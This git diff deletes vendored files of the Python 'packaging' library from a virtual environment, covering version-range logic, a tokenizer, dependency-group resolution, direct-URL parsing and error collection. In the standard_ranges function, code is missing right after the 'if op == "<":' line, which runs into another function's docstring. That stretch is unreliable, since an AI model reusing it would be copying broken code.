precomputed version *ranges*. - - With ``prereleases=None``, the PEP 440 default applies: pre-releases are - excluded unless no final matches, in which case buffered pre-releases come - out at the end. A pre-release inside the opt-in ``region`` is the exception: - it is force-admitted in place, as ``prereleases=True`` would yield it. A - force-admitted pre-release is not a final, so it never suppresses the buffer. - """ - if prereleases is None: - prerelease_buffer: list[Any] = [] - found_final = False - - if len(ranges) == 1: - # Hot path: most specifiers and small SpecifierSets reduce to - # a single contiguous range. - lower, upper = ranges[0] - above = lower._above - below = upper._below - for item in iterable: - parsed = coerce_version(item if key is None else key(item)) - if parsed is None: - continue - if above is not None and not above(parsed): - continue - if below is not None and not below(parsed): - continue - if not parsed.is_prerelease: - found_final = True - yield item - elif region and matches_bounds_only(region, parsed): - yield item - elif not found_final: - prerelease_buffer.append(item) - if not found_final: - yield from prerelease_buffer - return - - for item in iterable: - parsed = coerce_version(item if key is None else key(item)) - if parsed is None: - continue - for lower, upper in ranges: - above = lower._above - if above is not None and not above(parsed): - break - below = upper._below - if below is None or below(parsed): - if not parsed.is_prerelease: - found_final = True - yield item - elif region and matches_bounds_only(region, parsed): - yield item - elif not found_final: - prerelease_buffer.append(item) - break - if not found_final: - yield from prerelease_buffer - return - - exclude_prereleases = prereleases is False - - if len(ranges) == 1: - # Hot path: most specifiers and small SpecifierSets reduce to - # a single contiguous range. - lower, upper = ranges[0] - above = lower._above - below = upper._below - for item in iterable: - parsed = coerce_version(item if key is None else key(item)) - if parsed is None: - continue - if exclude_prereleases and parsed.is_prerelease: - continue - if above is not None and not above(parsed): - continue - if below is None or below(parsed): - yield item - return - - for item in iterable: - parsed = coerce_version(item if key is None else key(item)) - if parsed is None: - continue - if exclude_prereleases and parsed.is_prerelease: - continue - for lower, upper in ranges: - above = lower._above - if above is not None and not above(parsed): - break - below = upper._below - if below is None or below(parsed): - yield item - break - - -def _nearest_release_above_prerelease(version: Version) -> Version: - """Smallest non-pre-release at or above a pre-release *version*.""" - if version.pre is not None: - # An a/b/rc pre-release drops to its final release, which outranks - # every post-release of that pre-release (1.0a1.post0 -> 1.0). - return version.__replace__(pre=None, post=None, dev=None, local=None) - - # A dev-only release keeps its post-release (1.0.post0.dev0 -> 1.0.post0, - # whose final 1.0 sorts below it). - return version.__replace__(dev=None, local=None) - - -def _lowest_release_at_or_above(value: Version | BoundaryVersion | None) -> Version: - """Smallest non-pre-release version at or above *value*. - - ``None`` is the ``-inf`` floor, whose nearest non-pre-release is - :data:`MIN_RELEASE`. - """ - if value is None: - return MIN_RELEASE - if isinstance(value, BoundaryVersion): - inner_version = value.version - if inner_version.is_prerelease: - return _nearest_release_above_prerelease(inner_version) - # AFTER_LOCALS(1.0) -> nearest non-pre is 1.0.post0 - # AFTER_LOCALS(1.0.post0) -> nearest non-pre is 1.0.post1 - next_post = (inner_version.post + 1) if inner_version.post is not None else 0 - return inner_version.__replace__(post=next_post, local=None) - - if not value.is_prerelease: - return value - - return _nearest_release_above_prerelease(value) - - -def ranges_are_prerelease_only(ranges: Sequence[Interval]) -> bool: - """True when every range in *ranges* contains only pre-releases. - - Used to detect unsatisfiable specifier sets when ``prereleases=False``: - if every range is pre-release-only, every contained version is excluded. - """ - for lower, upper in ranges: - nearest = _lowest_release_at_or_above(lower.version) - if upper.version is None or nearest < upper.version: - return False - if nearest == upper.version and upper.inclusive: - return False - return True - - -def wildcard_ranges(op: str, base: Version) -> list[Interval]: - """Ranges for ==V.* and !=V.*. - - ==1.2.* -> [1.2.dev0, 1.3.dev0); !=1.2.* -> complement. - """ - lower = _base_dev0(base) - upper = _next_prefix_dev0(base) - if op == "==": - return [(LowerBound(lower, True), UpperBound(upper, False))] - # != - return [ - (NEG_INF, UpperBound(lower, False)), - (LowerBound(upper, True), POS_INF), - ] - - -def standard_ranges(op: str, version: Version, has_local: bool) -> list[Interval]: - """Ranges for the standard PEP 440 operators (no wildcard, no ===). - - *has_local* indicates whether the spec string included a ``+local`` - segment; relevant only for ``==`` / ``!=`` to decide whether the - upper bound includes V's local family. - """ - if op == ">=": - return [(LowerBound(version, True), POS_INF)] - - if op == "<=": - return [ - ( - NEG_INF, - UpperBound(BoundaryVersion(version, BoundaryKind.AFTER_LOCALS), True), - ) - ] - - if op == ">": - if version.dev is not None: - # >V.devN: dev versions have no post-releases, so the - # next real version is V.dev(N+1). - lower_bound = version.__replace__(dev=version.dev + 1, local=None) - return [(LowerBound(lower_bound, True), POS_INF)] - if version.post is not None: - # >V.postN: next real version is V.post(N+1).dev0. - lower_bound = version.__replace__(post=version.post + 1, dev=0, local=None) - return [(LowerBound(lower_bound, True), POS_INF)] - # >V (final or pre-release V): exclude V itself, V+local, and - # every V.postN per PEP 440. - return [ - ( - LowerBound(BoundaryVersion(version, BoundaryKind.AFTER_POSTS), False), - POS_INF, - ) - ] - - if op == "<": - # list[Interval]: - """Ranges for one specifier's ``(op, version_str)``. - - Dispatches between the wildcard and standard builders. ``version`` is the - parsed ``version_str`` (its base, without the trailing ``.*``, for - wildcards). ``===`` is not handled here; its match is a literal string - compared in :mod:`packaging.specifiers`. - """ - if version_str.endswith(".*"): - return wildcard_ranges(op, version) - - return standard_ranges(op, version, "+" in version_str) - - -def intersect_specifier_bounds( - per_specifier_ranges: Iterable[Sequence[Interval]], -) -> Sequence[Interval]: - """Intersect each specifier's ranges into a single sequence. - - Short-circuits once the running intersection is empty, since no later - specifier can revive it. Callers must pass at least one specifier. - """ - result: Sequence[Interval] | None = None - for sub in per_specifier_ranges: - if result is None: - result = sub - else: - result = intersect_ranges(result, sub) - if not result: - break - - if result is None: # pragma: no cover - callers guard non-empty input - raise RuntimeError("intersect_specifier_bounds called with no specifiers") - - return result - - -def matches_bounds_only(ranges: Sequence[Interval], version: Version) -> bool: - """Whether ``version`` falls within any of ``ranges``. - - The pure bounds membership test, for a single already-parsed version with - no pre-release policy applied. ``ranges`` are sorted and non-overlapping, - so a version below one range's lower bound is below every later range too. - """ - for lower, upper in ranges: - above = lower._above - if above is not None and not above(version): - return False - - below = upper._below - if below is None or below(version): - return True - - return False - - -def resolve_prereleases( - configured: bool | None, autodetected: bool | None -) -> bool | None: - """Resolve a specifier's effective default pre-release policy. - - An explicit ``configured`` value wins; otherwise an autodetected ``True`` - propagates and anything else falls back to the PEP 440 default (``None``). - """ - if configured is not None: - return configured - - if autodetected: - return True - - return None diff --git a/venv/Lib/site-packages/packaging/_structures.py b/venv/Lib/site-packages/packaging/_structures.py deleted file mode 100644 index 4306784d9a26466aa0a210cb2f262903c67d46ca..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/_structures.py +++ /dev/null @@ -1,33 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -"""Backward-compatibility shim for unpickling Version objects serialized before -packaging 26.1. - -Old pickles reference ``packaging._structures.InfinityType`` and -``packaging._structures.NegativeInfinityType``. This module provides minimal -stand-in classes so that ``pickle.loads()`` can resolve those references. -The deserialized objects are not used for comparisons — ``Version.__setstate__`` -discards the stale ``_key`` cache and recomputes it from the core version fields. -""" - -from __future__ import annotations - - -class InfinityType: - """Stand-in for the removed ``InfinityType`` used in old comparison keys.""" - - def __repr__(self) -> str: - return "Infinity" - - -class NegativeInfinityType: - """Stand-in for the removed ``NegativeInfinityType`` used in old comparison keys.""" - - def __repr__(self) -> str: - return "-Infinity" - - -Infinity = InfinityType() -NegativeInfinity = NegativeInfinityType() diff --git a/venv/Lib/site-packages/packaging/_tokenizer.py b/venv/Lib/site-packages/packaging/_tokenizer.py deleted file mode 100644 index db7cd17fbad29ed096f7fc9a0afc493cc9725b92..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/_tokenizer.py +++ /dev/null @@ -1,200 +0,0 @@ -from __future__ import annotations - -import contextlib -import re -from dataclasses import dataclass -from typing import TYPE_CHECKING, NoReturn - -from .specifiers import Specifier - -if TYPE_CHECKING: - from collections.abc import Generator, Mapping - - -@dataclass -class Token: - __slots__ = ("name", "position", "text") - - name: str - text: str - position: int - - -class ParserSyntaxError(Exception): - """The provided source text could not be parsed correctly.""" - - def __init__( - self, - message: str, - *, - source: str, - span: tuple[int, int], - ) -> None: - self.span = span - self.message = message - self.source = source - - super().__init__() - - def __str__(self) -> str: - marker = " " * self.span[0] + "~" * (self.span[1] - self.span[0]) + "^" - return f"{self.message}\n {self.source}\n {marker}" - - -DEFAULT_RULES: dict[str, re.Pattern[str]] = { - "LEFT_PARENTHESIS": re.compile(r"\("), - "RIGHT_PARENTHESIS": re.compile(r"\)"), - "LEFT_BRACKET": re.compile(r"\["), - "RIGHT_BRACKET": re.compile(r"\]"), - "SEMICOLON": re.compile(r";"), - "COMMA": re.compile(r","), - "QUOTED_STRING": re.compile( - r""" - ( - ('[^']*') - | - ("[^"]*") - ) - """, - re.VERBOSE, - ), - "OP": re.compile(r"(===|==|~=|!=|<=|>=|<|>)"), - "BOOLOP": re.compile(r"\b(or|and)\b"), - "IN": re.compile(r"\bin\b"), - "NOT": re.compile(r"\bnot\b"), - "VARIABLE": re.compile( - r""" - \b( - python_version - |python_full_version - |os[._]name - |sys[._]platform - |platform_(release|system) - |platform[._](version|machine|python_implementation) - |python_implementation - |implementation_(name|version) - |extras? - |dependency_groups - )\b - """, - re.VERBOSE, - ), - "SPECIFIER": re.compile( - Specifier._specifier_regex_str, - re.VERBOSE | re.IGNORECASE, - ), - "AT": re.compile(r"\@"), - "URL": re.compile(r"[^ \t]+"), - "IDENTIFIER": re.compile(r"\b[a-zA-Z0-9][a-zA-Z0-9._-]*\b"), - "VERSION_PREFIX_TRAIL": re.compile(r"\.\*"), - "VERSION_LOCAL_LABEL_TRAIL": re.compile(r"\+[a-z0-9]+(?:[-_\.][a-z0-9]+)*"), - "WS": re.compile(r"[ \t]+"), - "END": re.compile(r"\Z"), -} - - -class Tokenizer: - """Context-sensitive token parsing. - - Provides methods to examine the input stream to check whether the next token - matches. - """ - - __slots__ = ("next_token", "position", "rules", "source") - - def __init__( - self, - source: str, - *, - rules: Mapping[str, re.Pattern[str]], - ) -> None: - self.source = source - self.rules = rules - self.next_token: Token | None = None - self.position = 0 - - def consume(self, name: str) -> None: - """Move beyond provided token name, if at current position.""" - if self.check(name): - self.read() - - def check(self, name: str, *, peek: bool = False) -> bool: - """Check whether the next token has the provided name. - - By default, if the check succeeds, the token *must* be read before - another check. If `peek` is set to `True`, the token is not loaded and - would need to be checked again. - """ - assert self.next_token is None, ( - f"Cannot check for {name!r}, already have {self.next_token!r}" - ) - assert name in self.rules, f"Unknown token name: {name!r}" - - expression = self.rules[name] - - match = expression.match(self.source, self.position) - if match is None: - return False - if not peek: - self.next_token = Token(name, match[0], self.position) - return True - - def expect(self, name: str, *, expected: str) -> Token: - """Expect a certain token name next, failing with a syntax error otherwise. - - The token is read and returned. - """ - if not self.check(name): - raise self.raise_syntax_error(f"Expected {expected}") - return self.read() - - def read(self) -> Token: - """Consume the next token and return it.""" - token = self.next_token - assert token is not None - - self.position += len(token.text) - self.next_token = None - - return token - - def raise_syntax_error( - self, - message: str, - *, - span_start: int | None = None, - span_end: int | None = None, - ) -> NoReturn: - """Raise ParserSyntaxError at the given position.""" - span = ( - self.position if span_start is None else span_start, - self.position if span_end is None else span_end, - ) - raise ParserSyntaxError( - message, - source=self.source, - span=span, - ) - - @contextlib.contextmanager - def enclosing_tokens( - self, open_token: str, close_token: str, *, around: str - ) -> Generator[None, None, None]: - if self.check(open_token): - open_position = self.position - self.read() - else: - open_position = None - - yield - - if open_position is None: - return - - if not self.check(close_token): - self.raise_syntax_error( - f"Expected matching {close_token} for {open_token}, after {around}", - span_start=open_position, - ) - - self.read() diff --git a/venv/Lib/site-packages/packaging/dependency_groups.py b/venv/Lib/site-packages/packaging/dependency_groups.py deleted file mode 100644 index 0ad2d013cc25245c7e8f24f537112bc0332e41b5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/dependency_groups.py +++ /dev/null @@ -1,335 +0,0 @@ -from __future__ import annotations - -import re -from collections.abc import Mapping, Sequence - -from .errors import _ErrorCollector -from .requirements import InvalidRequirement, Requirement - -__all__ = [ - "CyclicDependencyGroup", - "DependencyGroupInclude", - "DependencyGroupResolver", - "DuplicateGroupNames", - "InvalidDependencyGroupObject", - "resolve_dependency_groups", -] - - -def __dir__() -> list[str]: - return __all__ - - -# ----------- -# Error Types -# ----------- - - -class DuplicateGroupNames(ValueError): - """ - The same dependency groups were defined twice, with different non-normalized names. - - .. versionadded:: 26.1 - """ - - -class CyclicDependencyGroup(ValueError): - """ - The dependency group includes form a cycle. - - .. versionadded:: 26.1 - """ - - def __init__(self, requested_group: str, group: str, include_group: str) -> None: - self.requested_group = requested_group - self.group = group - self.include_group = include_group - - if include_group == group: - reason = f"{group} includes itself" - else: - reason = f"{include_group} -> {group}, {group} -> {include_group}" - super().__init__( - "Cyclic dependency group include while resolving " - f"{requested_group}: {reason}" - ) - - # Support pickling; ``args`` does not match ``__init__``'s signature. - def __reduce__(self) -> tuple[type[CyclicDependencyGroup], tuple[str, str, str]]: - return (self.__class__, (self.requested_group, self.group, self.include_group)) - - -# in the PEP 735 spec, the tables in dependency group lists were described as -# "Dependency Object Specifiers", but the only defined type of object was a -# "Dependency Group Include" -- hence the naming of this error as "Object" -class InvalidDependencyGroupObject(ValueError): - """ - A member of a dependency group was identified as a dict, but was not in a valid - format. - - .. versionadded:: 26.1 - """ - - -# ------------------------ -# Object Model & Interface -# ------------------------ - - -class DependencyGroupInclude: - """ - A reference to another dependency group by name. - - .. versionadded:: 26.1 - """ - - __slots__ = ("include_group",) - - def __init__(self, include_group: str) -> None: - """ - Initialize a DependencyGroupInclude. - - :param include_group: The name of the group referred to by this include. - """ - self.include_group = include_group - - def __repr__(self) -> str: - return f"{self.__class__.__name__}({self.include_group!r})" - - -class DependencyGroupResolver: - """ - A resolver for Dependency Group data. - - This class handles caching, name normalization, cycle detection, and other - parsing requirements. There are only two public methods for exploring the data: - ``lookup()`` and ``resolve()``. - - :param dependency_groups: A mapping, as provided via pyproject - ``[dependency-groups]``. - - .. versionadded:: 26.1 - """ - - def __init__( - self, - dependency_groups: Mapping[str, Sequence[str | Mapping[str, str]]], - ) -> None: - errors = _ErrorCollector() - - self.dependency_groups = _normalize_group_names(dependency_groups, errors) - - # a map of group names to parsed data - self._parsed_groups: dict[ - str, tuple[Requirement | DependencyGroupInclude, ...] - ] = {} - # a map of group names to their ancestors, used for cycle detection - self._include_graph_ancestors: dict[str, tuple[str, ...]] = {} - # a cache of completed resolutions to Requirement lists - self._resolve_cache: dict[str, tuple[Requirement, ...]] = {} - - errors.finalize("[dependency-groups] data was invalid") - - def lookup(self, group: str) -> tuple[Requirement | DependencyGroupInclude, ...]: - """ - Lookup a group name, returning the parsed dependency data for that group. - This will not resolve includes. - - :param group: the name of the group to lookup - """ - group = _normalize_name(group) - - with _ErrorCollector().on_exit( - f"[dependency-groups] data for {group!r} was malformed" - ) as errors: - return self._parse_group(group, errors) - - def resolve(self, group: str) -> tuple[Requirement, ...]: - """ - Resolve a dependency group to a list of requirements. - - :param group: the name of the group to resolve - """ - group = _normalize_name(group) - - with _ErrorCollector().on_exit( - f"[dependency-groups] data for {group!r} was malformed" - ) as errors: - return self._resolve(group, group, errors) - - def _resolve( - self, group: str, requested_group: str, errors: _ErrorCollector - ) -> tuple[Requirement, ...]: - """ - This is a helper for cached resolution to strings. It preserves the name of the - group which the user initially requested in order to present a clearer error in - the event that a cycle is detected. - - :param group: The normalized name of the group to resolve. - :param requested_group: The group which was used in the original, user-facing - request. - """ - if group in self._resolve_cache: - return self._resolve_cache[group] - - parsed = self._parse_group(group, errors) - - resolved_group = [] - - for item in parsed: - if isinstance(item, Requirement): - resolved_group.append(item) - elif isinstance(item, DependencyGroupInclude): - include_group = _normalize_name(item.include_group) - - # if a group is cyclic, record the error - # otherwise, follow the include_group reference - # - # this allows us to examine all includes in a group, even in the - # presence of errors - if include_group in self._include_graph_ancestors.get(group, ()): - errors.error( - CyclicDependencyGroup( - requested_group, group, item.include_group - ) - ) - else: - self._include_graph_ancestors[include_group] = ( - *self._include_graph_ancestors.get(group, ()), - group, - ) - resolved_group.extend( - self._resolve(include_group, requested_group, errors) - ) - else: # pragma: no cover - raise NotImplementedError( - f"Invalid dependency group item after parse: {item}" - ) - - # in the event that errors were detected, present the group as empty and do not - # cache the result - # this ensures that repeated access to a cyclic group will raise multiple errors - if errors.errors: - return () - - self._resolve_cache[group] = tuple(resolved_group) - return self._resolve_cache[group] - - def _parse_group( - self, group: str, errors: _ErrorCollector - ) -> tuple[Requirement | DependencyGroupInclude, ...]: - # short circuit -- never do the work twice - if group in self._parsed_groups: - return self._parsed_groups[group] - - if group not in self.dependency_groups: - errors.error(LookupError(f"Dependency group '{group}' not found")) - return () - - raw_group = self.dependency_groups[group] - if isinstance(raw_group, str): - errors.error( - TypeError( - f"Dependency group {group!r} contained a string rather than a list." - ) - ) - return () - - if not isinstance(raw_group, Sequence): - errors.error( - TypeError(f"Dependency group {group!r} is not a sequence type.") - ) - return () - - elements: list[Requirement | DependencyGroupInclude] = [] - for item in raw_group: - if isinstance(item, str): - # packaging.requirements.Requirement parsing ensures that this is a - # valid PEP 508 Dependency Specifier. Collect InvalidRequirement - # if it throws that. - with errors.collect(InvalidRequirement): - elements.append(Requirement(item)) - elif isinstance(item, Mapping): - if tuple(item.keys()) != ("include-group",): - errors.error( - InvalidDependencyGroupObject( - f"Invalid dependency group item: {item!r}" - ) - ) - else: - include_group = item["include-group"] - if not isinstance(include_group, str): - msg = ( - "Dependency group include-group value is not a string: " - f"{item!r}" - ) - errors.error(TypeError(msg)) - else: - elements.append( - DependencyGroupInclude(include_group=include_group) - ) - else: - errors.error(TypeError(f"Invalid dependency group item: {item!r}")) - - if errors.errors: - return () - - self._parsed_groups[group] = tuple(elements) - return self._parsed_groups[group] - - -# -------------------- -# Functional Interface -# -------------------- - - -def resolve_dependency_groups( - dependency_groups: Mapping[str, Sequence[str | Mapping[str, str]]], /, *groups: str -) -> tuple[str, ...]: - """ - Resolve a dependency group to a tuple of requirements, as strings. - - :param dependency_groups: the parsed contents of the ``[dependency-groups]`` table - from ``pyproject.toml`` - :param groups: the name of the group(s) to resolve - - .. versionadded:: 26.1 - """ - resolver = DependencyGroupResolver(dependency_groups) - return tuple(str(r) for group in groups for r in resolver.resolve(group)) - - -# ---------------- -# internal helpers -# ---------------- - - -_NORMALIZE_PATTERN = re.compile(r"[-_.]+") - - -def _normalize_name(name: str) -> str: - return _NORMALIZE_PATTERN.sub("-", name).lower() - - -def _normalize_group_names( - dependency_groups: Mapping[str, Sequence[str | Mapping[str, str]]], - errors: _ErrorCollector, -) -> dict[str, Sequence[str | Mapping[str, str]]]: - original_names: dict[str, list[str]] = {} - normalized_groups: dict[str, Sequence[str | Mapping[str, str]]] = {} - - for group_name, value in dependency_groups.items(): - normed_group_name = _normalize_name(group_name) - original_names.setdefault(normed_group_name, []).append(group_name) - normalized_groups[normed_group_name] = value - - for normed_name, names in original_names.items(): - if len(names) > 1: - errors.error( - DuplicateGroupNames( - "Duplicate dependency group names: " - f"{normed_name} ({', '.join(names)})" - ) - ) - - return normalized_groups diff --git a/venv/Lib/site-packages/packaging/direct_url.py b/venv/Lib/site-packages/packaging/direct_url.py deleted file mode 100644 index 4de7acc0a9e5c22301623438f6290fd03f8040b4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/direct_url.py +++ /dev/null @@ -1,349 +0,0 @@ -from __future__ import annotations - -import dataclasses -import re -import urllib.parse -from collections.abc import Mapping -from typing import TYPE_CHECKING, Any, Protocol, TypeVar - -if TYPE_CHECKING: # pragma: no cover - import sys - from collections.abc import Collection - from urllib.parse import SplitResult - - if sys.version_info >= (3, 11): - from typing import Self - else: - from typing_extensions import Self - -__all__ = [ - "ArchiveInfo", - "DirInfo", - "DirectUrl", - "DirectUrlValidationError", - "VcsInfo", -] - - -def __dir__() -> list[str]: - return __all__ - - -_T = TypeVar("_T") - - -class _FromMappingProtocol(Protocol): # pragma: no cover - @classmethod - def _from_dict(cls, d: Mapping[str, Any]) -> Self: ... - - -_FromMappingProtocolT = TypeVar("_FromMappingProtocolT", bound=_FromMappingProtocol) - - -def _json_dict_factory(data: list[tuple[str, Any]]) -> dict[str, Any]: - return {key: value for key, value in data if value is not None} - - -def _get(d: Mapping[str, Any], expected_type: type[_T], key: str) -> _T | None: - """Get a value from the dictionary and verify it's the expected type.""" - if (value := d.get(key)) is None: - return None - if not isinstance(value, expected_type): - raise DirectUrlValidationError( - f"Unexpected type {type(value).__name__} " - f"(expected {expected_type.__name__})", - context=key, - ) - return value - - -def _get_required(d: Mapping[str, Any], expected_type: type[_T], key: str) -> _T: - """Get a required value from the dictionary and verify it's the expected type.""" - if (value := _get(d, expected_type, key)) is None: - raise _DirectUrlRequiredKeyError(key) - return value - - -def _get_object( - d: Mapping[str, Any], target_type: type[_FromMappingProtocolT], key: str -) -> _FromMappingProtocolT | None: - """Get a dictionary value from the dictionary and convert it to a dataclass.""" - if (value := _get(d, Mapping, key)) is None: # type: ignore[type-abstract] - return None - try: - return target_type._from_dict(value) - except Exception as e: - raise DirectUrlValidationError(e, context=key) from e - - -_PEP610_USER_PASS_ENV_VARS_REGEX = re.compile( - r"^\$\{[A-Za-z0-9-_]+\}(:\$\{[A-Za-z0-9-_]+\})?$" -) - - -def _strip_auth_from_netloc(netloc: str, safe_user_passwords: Collection[str]) -> str: - if "@" not in netloc: - return netloc - user_pass, netloc_no_user_pass = netloc.rsplit("@", 1) - if user_pass in safe_user_passwords: - return netloc - if _PEP610_USER_PASS_ENV_VARS_REGEX.match(user_pass): - return netloc - return netloc_no_user_pass - - -def _strip_url(url: str, safe_user_passwords: Collection[str]) -> str: - """url with user:password part removed unless it is formed with - environment variables as specified in PEP 610, or it is a safe user:password - such as `git`. - """ - parsed_url = urllib.parse.urlsplit(url) - netloc = _strip_auth_from_netloc(parsed_url.netloc, safe_user_passwords) - return urllib.parse.urlunsplit( - ( - parsed_url.scheme, - netloc, - parsed_url.path, - parsed_url.query, - parsed_url.fragment, - ) - ) - - -def _file_url_has_absolute_path(parsed_url: SplitResult) -> bool: - return parsed_url.path.startswith("/") - - -class DirectUrlValidationError(Exception): - """Raised when when input data is not spec-compliant. - - .. versionadded:: 26.1 - """ - - context: str | None = None - message: str - - def __init__( - self, - cause: str | Exception, - *, - context: str | None = None, - ) -> None: - if isinstance(cause, DirectUrlValidationError): - if cause.context: - self.context = ( - f"{context}.{cause.context}" if context else cause.context - ) - else: - self.context = context # pragma: no cover - self.message = cause.message - else: - self.context = context - self.message = str(cause) - - def __str__(self) -> str: - if self.context: - return f"{self.message} in {self.context!r}" - return self.message - - -class _DirectUrlRequiredKeyError(DirectUrlValidationError): - def __init__(self, key: str) -> None: - super().__init__("Missing required value", context=key) - - -@dataclasses.dataclass(frozen=True, init=False) -class VcsInfo: - """The version control information of a :class:`DirectUrl`.""" - - vcs: str - commit_id: str - requested_revision: str | None = None - - def __init__( - self, - *, - vcs: str, - commit_id: str, - requested_revision: str | None = None, - ) -> None: - object.__setattr__(self, "vcs", vcs) - object.__setattr__(self, "commit_id", commit_id) - object.__setattr__(self, "requested_revision", requested_revision) - - @classmethod - def _from_dict(cls, d: Mapping[str, Any]) -> Self: - # We can't validate vcs value because is not closed. - return cls( - vcs=_get_required(d, str, "vcs"), - requested_revision=_get(d, str, "requested_revision"), - commit_id=_get_required(d, str, "commit_id"), - ) - - -@dataclasses.dataclass(frozen=True, init=False) -class ArchiveInfo: - """The archive information of a :class:`DirectUrl`.""" - - hashes: Mapping[str, str] | None = None - - def __init__( - self, - *, - hashes: Mapping[str, str] | None = None, - ) -> None: - object.__setattr__(self, "hashes", hashes) - - @classmethod - def _from_dict(cls, d: Mapping[str, Any]) -> Self: - hashes = _get(d, Mapping, "hashes") # type: ignore[type-abstract] - if hashes is not None and not all(isinstance(h, str) for h in hashes.values()): - raise DirectUrlValidationError( - "Hash values must be strings", context="hashes" - ) - legacy_hash = _get(d, str, "hash") - if legacy_hash is not None: - if "=" not in legacy_hash: - raise DirectUrlValidationError( - "Invalid hash format (expected '=')", - context="hash", - ) - hash_algorithm, hash_value = legacy_hash.split("=", 1) - if hashes is None: - # if `hashes` are not present, we can derive it from the legacy `hash` - hashes = {hash_algorithm: hash_value} - else: - # if `hashes` are present, the legacy `hash` must match one of them - if hash_algorithm not in hashes: - raise DirectUrlValidationError( - f"Algorithm {hash_algorithm!r} used in hash field " - f"is not present in hashes field", - context="hashes", - ) - if hashes[hash_algorithm] != hash_value: - raise DirectUrlValidationError( - f"Algorithm {hash_algorithm!r} used in hash field " - f"has different value in hashes field", - context="hash", - ) - return cls(hashes=hashes) - - -@dataclasses.dataclass(frozen=True, init=False) -class DirInfo: - """The local directory information of a :class:`DirectUrl`.""" - - editable: bool | None = None - - def __init__( - self, - *, - editable: bool | None = None, - ) -> None: - object.__setattr__(self, "editable", editable) - - @classmethod - def _from_dict(cls, d: Mapping[str, Any]) -> Self: - return cls( - editable=_get(d, bool, "editable"), - ) - - -@dataclasses.dataclass(frozen=True, init=False) -class DirectUrl: - """A class representing a direct URL. - - .. versionadded:: 26.1 - """ - - url: str - archive_info: ArchiveInfo | None = None - vcs_info: VcsInfo | None = None - dir_info: DirInfo | None = None - subdirectory: str | None = None # XXX Path or str? - - def __init__( - self, - *, - url: str, - archive_info: ArchiveInfo | None = None, - vcs_info: VcsInfo | None = None, - dir_info: DirInfo | None = None, - subdirectory: str | None = None, - ) -> None: - object.__setattr__(self, "url", url) - object.__setattr__(self, "archive_info", archive_info) - object.__setattr__(self, "vcs_info", vcs_info) - object.__setattr__(self, "dir_info", dir_info) - object.__setattr__(self, "subdirectory", subdirectory) - - @classmethod - def _from_dict(cls, d: Mapping[str, Any]) -> Self: - direct_url = cls( - url=_get_required(d, str, "url"), - archive_info=_get_object(d, ArchiveInfo, "archive_info"), - vcs_info=_get_object(d, VcsInfo, "vcs_info"), - dir_info=_get_object(d, DirInfo, "dir_info"), - subdirectory=_get(d, str, "subdirectory"), - ) - if ( - bool(direct_url.vcs_info) - + bool(direct_url.archive_info) - + bool(direct_url.dir_info) - ) != 1: - raise DirectUrlValidationError( - "Exactly one of vcs_info, archive_info, dir_info must be present" - ) - if direct_url.dir_info is not None: - parsed_url = urllib.parse.urlsplit(direct_url.url) - if parsed_url.scheme != "file": - raise DirectUrlValidationError( - "URL scheme must be file:// when dir_info is present", - context="url", - ) - if not _file_url_has_absolute_path(parsed_url): - raise DirectUrlValidationError( - "File URL must be absolute when dir_info is present", - context="url", - ) - # XXX subdirectory must be relative, can we, should we validate that here? - return direct_url - - @classmethod - def from_dict(cls, d: Mapping[str, Any], /) -> Self: - """Create and validate a DirectUrl instance from a JSON dictionary.""" - return cls._from_dict(d) - - def to_dict( - self, - *, - generate_legacy_hash: bool = False, - strip_user_password: bool = True, - safe_user_passwords: Collection[str] = ("git",), - ) -> Mapping[str, Any]: - """Convert the DirectUrl instance to a JSON dictionary. - - :param generate_legacy_hash: If True, include a legacy `hash` field in - `archive_info` for backward compatibility with tools that don't - support the `hashes` field. - :param strip_user_password: If True, strip user:password from the URL - unless it is formed with environment variables as specified in PEP - 610, or it is a safe user:password such as `git`. - :param safe_user_passwords: A collection of user:password strings that - should not be stripped from the URL even if `strip_user_password` is - True. - """ - res = dataclasses.asdict(self, dict_factory=_json_dict_factory) - if generate_legacy_hash and self.archive_info and self.archive_info.hashes: - hash_algorithm, hash_value = next(iter(self.archive_info.hashes.items())) - res["archive_info"]["hash"] = f"{hash_algorithm}={hash_value}" - if strip_user_password: - res["url"] = _strip_url(self.url, safe_user_passwords) - return res - - def validate(self) -> None: - """Validate the DirectUrl instance against the specification. - - Raises :class:`DirectUrlValidationError` if invalid. - """ - self.from_dict(self.to_dict()) diff --git a/venv/Lib/site-packages/packaging/errors.py b/venv/Lib/site-packages/packaging/errors.py deleted file mode 100644 index d1d47cf6c3416179750bf5bf170aafe9d0fa6497..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/errors.py +++ /dev/null @@ -1,94 +0,0 @@ -from __future__ import annotations - -import contextlib -import dataclasses -import sys -import typing - -__all__ = ["ExceptionGroup"] - - -def __dir__() -> list[str]: - return __all__ - - -if sys.version_info >= (3, 11): # pragma: no cover - from builtins import ExceptionGroup -else: # pragma: no cover - - class ExceptionGroup(Exception): - """A minimal implementation of :external:exc:`ExceptionGroup` from Python 3.11. - - If :external:exc:`ExceptionGroup` is already defined by Python itself, - that version is used instead. - """ - - message: str - exceptions: list[Exception] - - def __init__(self, message: str, exceptions: list[Exception]) -> None: - self.message = message - self.exceptions = exceptions - - def __repr__(self) -> str: - return f"{self.__class__.__name__}({self.message!r}, {self.exceptions!r})" - - -@dataclasses.dataclass -class _ErrorCollector: - """ - Collect errors into ExceptionGroups. - - Used like this: - - collector = _ErrorCollector() - # Add a single exception - collector.error(ValueError("one")) - - # Supports nesting, including combining ExceptionGroups - with collector.collect(): - raise ValueError("two") - collector.finalize("Found some errors") - - Since making a collector and then calling finalize later is a common pattern, - a convenience method ``on_exit`` is provided. - """ - - errors: list[Exception] = dataclasses.field(default_factory=list, init=False) - - def finalize(self, msg: str) -> None: - """Raise a group exception if there are any errors.""" - if self.errors: - raise ExceptionGroup(msg, self.errors) - - @contextlib.contextmanager - def on_exit(self, msg: str) -> typing.Generator[_ErrorCollector, None, None]: - """ - Calls finalize if no uncollected errors were present. - - Uncollected errors are raised normally. - """ - yield self - self.finalize(msg) - - @contextlib.contextmanager - def collect(self, *err_cls: type[Exception]) -> typing.Generator[None, None, None]: - """ - Context manager to collect errors into the error list. 